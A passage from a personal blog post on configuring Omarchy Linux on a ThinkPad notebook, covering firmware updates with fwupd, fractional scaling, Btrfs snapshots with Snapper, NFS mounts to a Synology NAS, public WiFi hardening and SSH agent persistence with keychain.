    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Firmware updates via fwupd<span class="hx:absolute hx:-mt-20" id="firmware-updates-via-fwupd"></span>
    <a href="#firmware-updates-via-fwupd" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/bios-update.jpg" alt="Lenovo firmware update (ME Corp) running on boot"  loading="lazy" /></p>
<p><code>fwupdmgr update</code> works, but with Limine there&rsquo;s a gotcha: fwupd tries to write to <code>/boot/EFI/systemd/</code> or <code>/boot/EFI/arch/</code>, which don&rsquo;t exist. The workaround:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo mkdir -p /boot/EFI/arch
</span></span><span class="line"><span class="cl">sudo fwupdmgr update -y --no-reboot-check
</span></span><span class="line"><span class="cl">fwupdmgr get-history  <span class="c1"># should show &#34;Success&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>HiDPI / fractional scaling<span class="hx:absolute hx:-mt-20" id="hidpi--fractional-scaling"></span>
    <a href="#hidpi--fractional-scaling" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>14&quot; panel at 1920x1200, Hyprland&rsquo;s free resolution. Omarchy&rsquo;s auto 1.5x felt too chunky. I pinned it at 1.333x:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>env = GDK_SCALE,1
monitor=,preferred,auto,1.3333,vrr,2</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Effective 1440x900. GTK with <code>GDK_SCALE=1</code> renders 1:1 with Hyprland (no double magnification). VRR mode 2 only in fullscreen, because LCD panels tend to flicker on static content with VRR active.</p>
<p>Brave and Chromium flags to render well at this scale:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>--ozone-platform=wayland
--enable-features=WaylandFractionalScaleV1,UseOzonePlatform,VaapiVideoDecoder,VaapiVideoEncoder
--enable-gpu-rasterization</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>VAAPI makes a real difference on YouTube battery life.</p>
<h2>Tuning Omarchy to be mine<span class="hx:absolute hx:-mt-20" id="tuning-omarchy-to-be-mine"></span>
    <a href="#tuning-omarchy-to-be-mine" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Omarchy comes with good defaults. What I adjust stacks on top of them, without touching <code>~/.local/share/omarchy/</code> (which is clobbered by <code>omarchy-update</code>). All customization lives in <code>~/.config/</code>.</p>
<h3>Infra: Btrfs, snapshots, Snapper<span class="hx:absolute hx:-mt-20" id="infra-btrfs-snapshots-snapper"></span>
    <a href="#infra-btrfs-snapshots-snapper" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Omarchy already ships with Btrfs and separate subvolumes:</p>
<table>
  <thead>
      <tr>
          <th>Subvolume</th>
          <th>Mount</th>
          <th>In snapshots?</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>@</code></td>
          <td><code>/</code></td>
          <td>yes</td>
      </tr>
      <tr>
          <td><code>@home</code></td>
          <td><code>/home</code></td>
          <td>no</td>
      </tr>
      <tr>
          <td><code>@log</code></td>
          <td><code>/var/log</code></td>
          <td>no</td>
      </tr>
      <tr>
          <td><code>@pkg</code></td>
          <td><code>/var/cache/pacman/pkg</code></td>
          <td>no</td>
      </tr>
  </tbody>
</table>
<p><code>@home</code> separated means <code>~/.cache</code>, <code>~/.config/BraveSoftware</code>, etc. don&rsquo;t bloat root snapshots. Snapshot is for system, not profile.</p>
<p>Swap: 4 GB zram at priority 100 (hit first), plus a 30 GB swapfile at priority 0 (enables hibernation, sized to match RAM).</p>
<p>The snapshot stack: Snapper takes a snapshot before and after every <code>pacman -Syu</code> via snap-pac. <code>limine-snapper-sync</code> writes those snapshots into the Limine menu, so you can boot into a previous snapshot to roll back. If something breaks after an update, you hold a key on boot, pick the pre-update snapshot, boot read-only to verify, and if it&rsquo;s good, run <code>snapper rollback</code>.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/btrfs-snapshots-config.png" alt="Btrfs subvolumes separated so root snapshots don’t balloon with user cache"  loading="lazy" /></p>
<p>Omarchy leaves <code>snapper-cleanup.timer</code> and <code>snapper-boot.timer</code> disabled by default. I enabled both and configured retention to fit on a 1 TB SSD without blowing up:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>TIMELINE_LIMIT_HOURLY=10
TIMELINE_LIMIT_DAILY=0
TIMELINE_LIMIT_WEEKLY=1
TIMELINE_LIMIT_MONTHLY=1
NUMBER_LIMIT=50</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A detail that costs debug time if you forget: Docker and Ollama write gigabytes into <code>/var/lib/docker</code> and <code>/var/lib/ollama</code>. If that falls inside <code>@</code>, snapshots go catastrophic. Each Docker image or Ollama model downloaded triples in size. I created nested subvolumes for both, with <code>chattr +C</code> to disable CoW:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo btrfs subvolume create /var/lib/docker
</span></span><span class="line"><span class="cl">sudo chattr +C /var/lib/docker
</span></span><span class="line"><span class="cl">sudo btrfs subvolume create /var/lib/ollama</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>This has to be done BEFORE Docker or Ollama writes any data. If they already have data there, you need to migrate.</p>
<h3>NFS to the Synology NAS<span class="hx:absolute hx:-mt-20" id="nfs-to-the-synology-nas"></span>
    <a href="#nfs-to-the-synology-nas" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>My Synology exposes three volumes. On the desktop, I mount them the usual way. On the notebook, it has to be more defensive. The notebook moves around, forgets networks, connects to public WiFi. Notebook&rsquo;s fstab:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>nfs4  _netdev,noauto,nofail,x-systemd.automount,x-systemd.idle-timeout=10min,x-systemd.mount-timeout=15s,noatime,nodiratime,nconnect=4,actimeo=10,soft,timeo=30,retrans=2</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Critical difference vs the desktop: <code>soft</code> with short timeouts (doesn&rsquo;t hang forever), <code>x-systemd.idle-timeout=10min</code> (auto-unmount when idle), no <code>network-online.target</code> in the require (doesn&rsquo;t slow boot). Practical result: <code>cd /mnt/gigachad</code> at home mounts lazily, away from home it fails fast without locking the shell.</p>
<p>Another important detail: my user on the notebook has UID 1026, which matches the share permissions on the Synology. Linux defaults to creating users at 1000, the Synology enforces identity via UID on the wire. If the UIDs don&rsquo;t match, you can&rsquo;t read the files, or worse, you write as nobody. I ran the <code>usermod</code>/<code>groupmod</code> from a TTY (with the user logged out) to remap the user to 1026/1026 and did <code>chown -R</code> on <code>/home</code>.</p>
<h3>Public WiFi hardening<span class="hx:absolute hx:-mt-20" id="public-wifi-hardening"></span>
    <a href="#public-wifi-hardening" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The notebook will leave the house. In an airport or café, I don&rsquo;t want to announce hostname, don&rsquo;t want a trackable MAC, don&rsquo;t want a service listening on an open port.</p>
<p><code>/etc/NetworkManager/conf.d/00-macrandomize.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[device]
wifi.scan-rand-mac-address=yes

[connection]
wifi.cloned-mac-address=stable
ethernet.cloned-mac-address=stable
connection.stable-id=${CONNECTION}/${BOOT}

ipv6.ip6-privacy=2
ipv6.addr-gen-mode=stable-privacy</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Random MAC per scan (passive anti-fingerprinting). Stable cloned MAC per SSID (captive portals don&rsquo;t re-prompt you every time) but different MACs between networks. IPv6 with temporary addresses and interface ID derived from a stable secret, not from the MAC (no EUI-64 leak).</p>
<p><code>/etc/systemd/resolved.conf.d/hardening.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[Resolve]
LLMNR=no
MulticastDNS=no</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Kills hostname broadcast on LLMNR and mDNS. I also disable avahi:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo systemctl disable --now avahi-daemon.service avahi-daemon.socket</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>UFW firewall:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo ufw default deny incoming
</span></span><span class="line"><span class="cl">sudo ufw default allow outgoing
</span></span><span class="line"><span class="cl">sudo ufw --force enable</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>SSH server is already off by default on Omarchy. Nothing listening. Even if the firewall leaks, there&rsquo;s no surface.</p>
<p>All of it rolls into a single initial setup ritual.</p>
<h3>SSH agent persistence (keyring + keychain)<span class="hx:absolute hx:-mt-20" id="ssh-agent-persistence-keyring--keychain"></span>
    <a href="#ssh-agent-persistence-keyring--keychain" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>If you use SSH seriously, you want to type the passphrase once per boot and have <code>ssh</code>, <code>git push</code>, <code>scp</code> stay silent for the rest of the day. On current Arch there&rsquo;s a catch: <code>gnome-keyring</code> 50 dropped its SSH component, and the replacement (<code>gcr-ssh-agent</code>) is a plain in-memory agent with no passphrase persistence. The &ldquo;remember this key&rdquo; checkbox you saw in old guides simply doesn&rsquo;t exist anymore.</p>
<p>The combination that works has three pieces:</p>
<ol>
<li><code>gcr-ssh-agent.socket</code> managed by systemd serves <code>SSH_AUTH_SOCK</code> at <code>$XDG_RUNTIME_DIR/gcr/ssh</code></li>
<li><code>pam_gnome_keyring</code> on SDDM login unlocks the keyring with the login password (used by GUI apps like Brave, not by SSH)</li>
<li><code>keychain</code> (wrapper) keeps an <code>ssh-agent</code> alive across logouts, overrides <code>SSH_AUTH_SOCK</code> to point at that persistent agent, and caches the PID in <code>~/.keychain/&lt;host&gt;-sh</code></li>
</ol>
<p>First, install the keyring:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S --needed gnome-keyring seahorse keychain</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Then edit <code>/etc/pam.d/sddm</code> so the login password unlocks the keyring automatically. Add at the top:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>-auth      optional    pam_gnome_keyring.so</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And at the end:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>-session   optional    pam_gnome_keyring.so    auto_start</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The leading hyphen (<code>-auth</code>, <code>-session</code>) marks it optional, so if the module fails to load, login doesn&rsquo;t break.</p>
<p>Pin <code>SSH_AUTH_SOCK</code> for graphical and TTY sessions via <code>~/.config/environment.d/ssh-agent.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>SSH_AUTH_SOCK=%t/gcr/ssh</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>%t</code> resolves to <code>$XDG_RUNTIME_DIR</code>, something like <code>/run/user/1026</code>. Enable the gcr socket and user linger (so user daemons survive logout):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">systemctl --user <span class="nb">enable</span> --now gcr-ssh-agent.socket
</span></span><span class="line"><span class="cl">sudo loginctl enable-linger <span class="nv">$USER</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Finally, in <code>~/.config/bash/init.sh</code>, keychain starts or reuses the agent:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="k">if</span> <span class="nb">command</span> -v keychain <span class="p">&amp;</span>&gt;/dev/null <span class="o">&amp;&amp;</span> <span class="o">[[</span> -r ~/.ssh/id_ed25519 <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">eval</span> <span class="s2">&#34;</span><span class="k">$(</span>keychain --eval --quiet ~/.ssh/id_ed25519<span class="k">)</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>--eval</code> emits shell assignments (<code>SSH_AUTH_SOCK</code>, <code>SSH_AGENT_PID</code>) pointing to keychain&rsquo;s agent, overriding the gcr path set by environment.d. <code>--quiet</code> silences the banner once the key is loaded.</p>
<p>Flow in practice: boot → first terminal → keychain prompts for the passphrase once → key stays loaded. Logout → login again → new shells reattach to the same agent (via <code>~/.keychain/&lt;host&gt;-sh</code>) → zero prompts. <code>ssh-add -l</code> confirms the key is there, <code>echo $SSH_AUTH_SOCK</code> confirms it&rsquo;s at keychain&rsquo;s path.</p>
<p>When you&rsquo;ll re-enter the passphrase: reboot, <code>ssh-add -D</code>, or <code>keychain --clear</code>. In normal use, once a day.</p>
<h3>Bash instead of ZSH<span class="hx:absolute hx:-mt-20" id="bash-instead-of-zsh"></span>
    <a href="#bash-instead-of-zsh" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>On the desktop I use ZSH. On the notebook I went with Bash to align with Omarchy&rsquo;s default, without having to maintain a parallel stack of modular layers. <code>~/.bashrc</code> is a symlink to <code>~/.config/bash/bashrc</code>, which sources Omarchy&rsquo;s defaults first and then stacks my customizations:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">source</span> ~/.local/share/omarchy/default/bash/rc
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.config/bash/envs.sh
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.config/bash/aliases.sh
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.config/bash/mounts.sh
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.config/bash/init.sh
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.config/bash/secrets    <span class="c1"># gitignored, chmod 600</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>envs.sh</code> has what&rsquo;s mine: OpenRouter base URL, Ollama pointing to the LAN GPU box (192.168.0.14), AWS region, Hugo analytics, zoxide and SSH agent configs. <code>aliases.sh</code> has TLP shortcuts, an alias for <code>shell-gpt</code> via Docker, and functions to harden PATH when running <code>makepkg</code> or <code>yay</code> (prevents binary injection via a malicious user config).</p>
